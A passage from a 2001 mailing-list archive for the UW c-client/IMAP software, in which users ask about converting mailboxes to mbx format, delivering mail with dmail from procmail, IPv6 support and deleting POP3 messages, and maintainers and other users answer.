(8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UCEnu28212; Wed, 30 May 2001 05:14:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UCEfH33134; Wed, 30 May 2001 05:14:41 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UCDi044174 for ; Wed, 30 May 2001 05:13:44 -0700 Received: from silence.sparrows.ici (500@chello212186015038.11.univie.teleweb.at [212.186.15.38]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UCDgF08279 for ; Wed, 30 May 2001 05:13:43 -0700 Received: from there (Q.sparrow.ici [192.168.0.99]) by silence.sparrows.ici (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with SMTP id f4UCDbw03140 for ; Wed, 30 May 2001 14:13:38 +0200 Message-Id: <200105301213.f4UCDbw03140@silence.sparrows.ici> Date: Wed, 30 May 2001 14:13:37 +0200 Reply-To: bio@gmx.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Darian Lanx To: c-client@u.washington.edu Subject: converting to mbx format....being lost Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello all ;) First of all, thanky ou for writing this peace of fine software, yet, eve= n after reading the FAQ and all files supplied in the /doc dir I am not qu= ite sure I have understood. I compiled the current imapd snapshot and it works like a charm pop3 pop3= s and imap as well as imaps all work just fine. I am using a sendmail setup, which delivers to procmail, which then deliv= ers to the users mailbox. I thought about using dmail to deliver directly to= the propsed mbx format I read about in the files. So I downloaded the imap tools, compiled and installed them, then read th= e man files. Yet when I try to do something like this mbxcvt /var/spool/mail/$user INB= OX (as the user name that owns the mailbox) I get "cannot create INBOX" When I use mbxcvt /var/spoll/mail/$user INBOX I get cannot create INBOX : undeterminate format. I am honestly trying to understand, is INBOX just an alias, should I supp= ly another value for it. Thank you for your patience and tips -d --=20 si vis pacem, para bellum ---- 'Doubt thou the stars are fire; Doubt that the sun doth move; Doubt truth to be a liar; But never doubt I love. - Hamelt, Shakespear -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 30 05:32:55 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 30 May 2001 05:32:54 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UCWrD16442 for ; Wed, 30 May 2001 05:32:53 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed May 30 05:32:52 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UCWku28532; Wed, 30 May 2001 05:32:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UCWXX18214; Wed, 30 May 2001 05:32:33 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UCW10120752 for ; Wed, 30 May 2001 05:32:01 -0700 Received: from goliath.siemens.de (goliath.siemens.de [194.138.37.131]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UCVxX25831 for ; Wed, 30 May 2001 05:32:00 -0700 Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by goliath.siemens.de (8.11.1/8.11.1) with ESMTP id f4UCVv418642; Wed, 30 May 2001 14:31:57 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail2.siemens.de (8.11.0/8.11.0) with ESMTP id f4UCVtB06034; Wed, 30 May 2001 14:31:56 +0200 (MET DST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id L7YV1VJ1; Wed, 30 May 2001 16:32:29 +0400 Message-Id: <001401c0e904$8221d450$21c9ca95@mow.siemens.ru> Date: Wed, 30 May 2001 16:31:53 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: , Subject: RE: converting to mbx format....being lost In-Reply-To: <200105301213.f4UCDbw03140@silence.sparrows.ici> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer goliath.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > When I use mbxcvt /var/spoll/mail/$user INBOX I get > cannot create INBOX : undeterminate format. > mbxcvt INBOX mbx ~/foo mv ~/foo ~/INBOX -andrej From pinedev@shivax2.cac.washington.edu Wed May 30 06:45:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 30 May 2001 06:45:17 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UDjFD15640 for ; Wed, 30 May 2001 06:45:16 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 30 06:45:15 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UDjDC28801; Wed, 30 May 2001 06:45:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UDj2p26998; Wed, 30 May 2001 06:45:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UDiN003412 for ; Wed, 30 May 2001 06:44:23 -0700 Received: from silence.sparrows.ici (500@chello212186015038.11.univie.teleweb.at [212.186.15.38]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UDiLs17175 for ; Wed, 30 May 2001 06:44:22 -0700 Received: from there (Q.sparrow.ici [192.168.0.99]) by silence.sparrows.ici (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with SMTP id f4UDiCw03443 for ; Wed, 30 May 2001 15:44:20 +0200 Message-Id: <200105301344.f4UDiCw03443@silence.sparrows.ici> Date: Wed, 30 May 2001 15:44:10 +0200 Reply-To: bio@gmx.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Darian Lanx To: c-client@u.washington.edu Subject: Another question ;) In-Reply-To: <001401c0e904$8221d450$21c9ca95@mow.siemens.ru> References: <001401c0e904$8221d450$21c9ca95@mow.siemens.ru> Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you andrej for your quick answer. I have another question concerning the whole setup. I presume, that the ipop3d daemon also reads the mbx File? I am currently offering pop3s and imaps and I would like to keep it that=20 way. If I used dmail to deliver to the INBOX after all procmail filters have r= un,=20 then both, pop3 and imap will be able to read and present the mail to the= =20 user? The man page of dmail did not really clarify to me what it needs to run=20 properly When a program is called from a procmail recipe does that not imply, that= it=20 has the UID/GID of the parent program (in that case procmail). since I did not install the program suid or sgid. Also, is there a nice site where I could look up procmail rule, recipes f= or=20 this? Thank you for helping an imap newbie. -d --=20 si vis pacem, para bellum ---- 'Doubt thou the stars are fire; Doubt that the sun doth move; Doubt truth to be a liar; But never doubt I love. - Hamelt, Shakespeare -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 30 07:46:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 30 May 2001 07:46:06 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UEk4D03127 for ; Wed, 30 May 2001 07:46:05 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 30 07:46:04 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UEk1C30335; Wed, 30 May 2001 07:46:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UEjlp17338; Wed, 30 May 2001 07:45:47 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UEiw007838 for ; Wed, 30 May 2001 07:44:58 -0700 Received: from goliath.siemens.de (goliath.siemens.de [194.138.37.131]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4UEiuF32752 for ; Wed, 30 May 2001 07:44:57 -0700 Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by goliath.siemens.de (8.11.1/8.11.1) with ESMTP id f4UEis413953; Wed, 30 May 2001 16:44:54 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail2.siemens.de (8.11.0/8.11.0) with ESMTP id f4UEiOB08637; Wed, 30 May 2001 16:44:32 +0200 (MET DST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id L7YV1WDZ; Wed, 30 May 2001 18:44:38 +0400 Message-Id: <001601c0e916$f6e8fb30$21c9ca95@mow.siemens.ru> Date: Wed, 30 May 2001 18:44:00 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: , Subject: RE: Another question ;) In-Reply-To: <200105301344.f4UDiCw03443@silence.sparrows.ici> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer goliath.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > I presume, that the ipop3d daemon also reads the mbx File? Yes. > > If I used dmail to deliver to the INBOX after all procmail > filters have run, > then both, pop3 and imap will be able to read and present the mail to the > user? > Yes. > The man page of dmail did not really clarify to me what it needs to run > properly > When a program is called from a procmail recipe does that not > imply, that it > has the UID/GID of the parent program (in that case procmail). > Yes. > since I did not install the program suid or sgid. > You should not. > Also, is there a nice site where I could look up procmail rule, > recipes for > this? > Dunno. # # IMAP mailing lists # :0 * (^TOimap@u.washington.edu)|(^TOimap@cac.washington.edu) { :0 | /tools/bin/dmail +Incoming/imap } You have to create Incoming/imap beforehand of course. -andrej From pinedev@shivax2.cac.washington.edu Wed May 30 21:40:56 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 30 May 2001 21:40:55 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4V4esD08817 for ; Wed, 30 May 2001 21:40:55 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed May 30 21:40:54 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4equ27800; Wed, 30 May 2001 21:40:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4V4eYE30602; Wed, 30 May 2001 21:40:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4ZR0109168 for ; Wed, 30 May 2001 21:35:31 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4ZQX25781 for ; Wed, 30 May 2001 21:35:26 -0700 Received: from terryhome (cx304336-e.omhaw1.ne.home.com [65.6.93.48]) by hermes.birddog.com (8.11.2/go_away) with SMTP id f4V4oaB32424 for ; Wed, 30 May 2001 23:50:36 -0500 Message-Id: Date: Wed, 30 May 2001 23:37:25 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Terry Davis" To: Subject: pop server development MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN is there still a lot of work being done on the pop3 server? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 30 21:46:00 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 30 May 2001 21:46:00 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4V4jxD14069 for ; Wed, 30 May 2001 21:45:59 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 30 21:45:58 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4juC26410; Wed, 30 May 2001 21:45:56 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4V4jlX27616; Wed, 30 May 2001 21:45:47 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4gP043018 for ; Wed, 30 May 2001 21:42:25 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4gPs06026 for ; Wed, 30 May 2001 21:42:25 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4gPo20528; Wed, 30 May 2001 21:42:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pare0@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4V4gPC00349; Wed, 30 May 2001 21:42:25 -0700 Message-Id: Date: Wed, 30 May 2001 21:41:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry Davis Cc: c-client@u.washington.edu Subject: re: pop server development In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 30 May 2001 23:37:25 -0500, Terry Davis wrote: > is there still a lot of work being done on the pop3 server? What in particular are you looking for? The POP3 server is a fairly complete implementation. From pinedev@shivax2.cac.washington.edu Thu May 31 14:35:24 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 31 May 2001 14:35:23 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4VLZMD09135 for ; Thu, 31 May 2001 14:35:22 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu May 31 14:35:22 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4VLZKu23532; Thu, 31 May 2001 14:35:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4VLYsE08798; Thu, 31 May 2001 14:34:54 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4VL2Q088564 for ; Thu, 31 May 2001 14:02:26 -0700 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4VL2OF26714 for ; Thu, 31 May 2001 14:02:25 -0700 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA10223; Thu, 31 May 2001 17:02:23 -0400 Received: from hickory by islet.zk3.dec.com (8.11.1/1.1.2.10/19Mar01-0238PM) id f4VL2Nm0000425811; Thu, 31 May 2001 17:02:23 -0400 (EDT) Message-Id: <039a01c0ea14$fd19b5e0$57008d10@zk3.dec.com> Date: Thu, 31 May 2001 17:02:23 -0400 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: Subject: imapd and pine working with IPv6 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I now have imapd and pine working with IPv6 on Compaq Tru64 UNIX. The changes were primarily confined to src/osdep/unix/tcp_unix.c . I'll be sending you my diffs as soon as I clean them up with appropriate #ifdefs . Peter Derr Compaq Tru64 UNIX Internet Engineering Group -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 31 15:05:05 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 31 May 2001 15:05:04 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4VM53D32767 for ; Thu, 31 May 2001 15:05:03 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu May 31 15:05:02 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4VM50u24666; Thu, 31 May 2001 15:05:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4VM4gE31382; Thu, 31 May 2001 15:04:42 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4VLri0126976 for ; Thu, 31 May 2001 14:53:44 -0700 Received: from smtp3.jarna.com ([63.236.58.107]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4VLrhs01289 for ; Thu, 31 May 2001 14:53:44 -0700 Received: (qmail 87031 invoked by uid 0); 31 May 2001 21:53:39 -0000 Received: from unknown (HELO DISCOBALL) (209.233.230.201) by smtp.jarna.com with SMTP; 31 May 2001 21:53:39 -0000 Message-Id: Date: Thu, 31 May 2001 15:00:10 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Rem" To: Subject: RE: imapd and pine working with IPv6 In-Reply-To: <039a01c0ea14$fd19b5e0$57008d10@zk3.dec.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is anyone having issues delivering IMAP email to RIM devices? -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Peter Derr Sent: Thursday, May 31, 2001 2:02 PM To: c-client@u.washington.edu Subject: imapd and pine working with IPv6 I now have imapd and pine working with IPv6 on Compaq Tru64 UNIX. The changes were primarily confined to src/osdep/unix/tcp_unix.c . I'll be sending you my diffs as soon as I clean them up with appropriate #ifdefs . Peter Derr Compaq Tru64 UNIX Internet Engineering Group -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 5 17:19:59 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Jun 2001 17:19:55 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f560JsD18401 for ; Tue, 5 Jun 2001 17:19:55 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 05 17:19:54 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f560JqC31736; Tue, 5 Jun 2001 17:19:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f560JIE31984; Tue, 5 Jun 2001 17:19:18 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f560F9006942; Tue, 5 Jun 2001 17:15:09 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f560F8K14311; Tue, 5 Jun 2001 17:15:08 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f560F8u02530; Tue, 5 Jun 2001 17:15:08 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id RAA25604; Tue, 5 Jun 2001 17:15:02 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A63.0001C154 ; Tue, 5 Jun 2001 17:19:10 -0700 Message-Id: <88256A63.0001BFFB.00@notes.centigram.com> Date: Tue, 5 Jun 2001 17:20:19 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: pine-info@CAC.Washington.EDU, c-client@CAC.Washington.EDU Subject: Marking message for deletion in POP3 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, Could someone let me know how to mark messages for deletion in POP3 ? I want to mark them deleted and expunge all the deleted messages at once. There is no api in pop3.h of c-client library for this. Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 5 19:04:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Jun 2001 19:04:18 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5624GD16891 for ; Tue, 5 Jun 2001 19:04:16 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 05 19:04:15 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5624Du05558; Tue, 5 Jun 2001 19:04:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5623wE29566; Tue, 5 Jun 2001 19:03:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5621O083752; Tue, 5 Jun 2001 19:01:24 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5621NX14252; Tue, 5 Jun 2001 19:01:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (lampin@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5621Nu05505; Tue, 5 Jun 2001 19:01:23 -0700 Message-Id: Date: Tue, 5 Jun 2001 18:56:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula_hullatti@adc.com Cc: pine-info@CAC.Washington.EDU, c-client@CAC.Washington.EDU Subject: re: Marking message for deletion in POP3 In-Reply-To: <88256A63.0001BFFB.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 5 Jun 2001 17:20:19 -0700, manjula_hullatti@adc.com wrote: > Could someone let me know how to mark messages for > deletion in POP3 ? I want to mark them deleted and expunge all > the deleted messages at once. There is no api in pop3.h of c-client > library for this. The only way to delete messages in the POP3 protocol is to issue DELE commands and then to issue a QUIT to confirm. If a QUIT is not issued, the POP3 server forgets about the DELE commands. Since the c-client API has the delete-expunge model with an undelete permitted prior to expunge, the way this is implemented in c-client is to set the \Deleted flag, then call mail_expunge() to send the DELE commands. At this point, you can no longer undelete and the messages become unavailable to c- client; however of course the true purge at the server happens at mail_close() time. Although this seems strange, it's the only way to get IMAP like behavior, which is what the c-client API tries to provide, from POP. From pinedev@shivax2.cac.washington.edu Wed Jun 6 21:21:56 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Jun 2001 21:21:52 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f574LpD14216 for ; Wed, 6 Jun 2001 21:21:51 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 06 21:21:51 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id 